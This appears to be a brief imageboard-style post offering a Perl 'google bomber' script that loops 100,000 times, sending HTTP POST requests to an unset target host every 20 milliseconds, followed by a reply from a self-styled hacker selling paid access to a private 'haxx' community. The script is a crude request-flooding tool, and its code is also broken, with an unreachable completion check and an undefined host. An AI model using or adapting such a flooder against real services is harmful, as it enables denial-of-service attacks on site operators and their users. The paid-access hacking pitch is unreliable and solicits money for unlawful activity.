PERL google bomber

my $ua = LWP::UserAgent->new();
my $num = 0;

for (1..100000) {
    select(undef, undef, undef, .020);
    $num = int ($num + 1);
    $ua->post($host);
    if ($num == 2000000){
            print "complete.";
    }
}

>>8
hello im fairX the haxxor join my community of hackers if you payme enough i will give you access to a private area of haxx ;)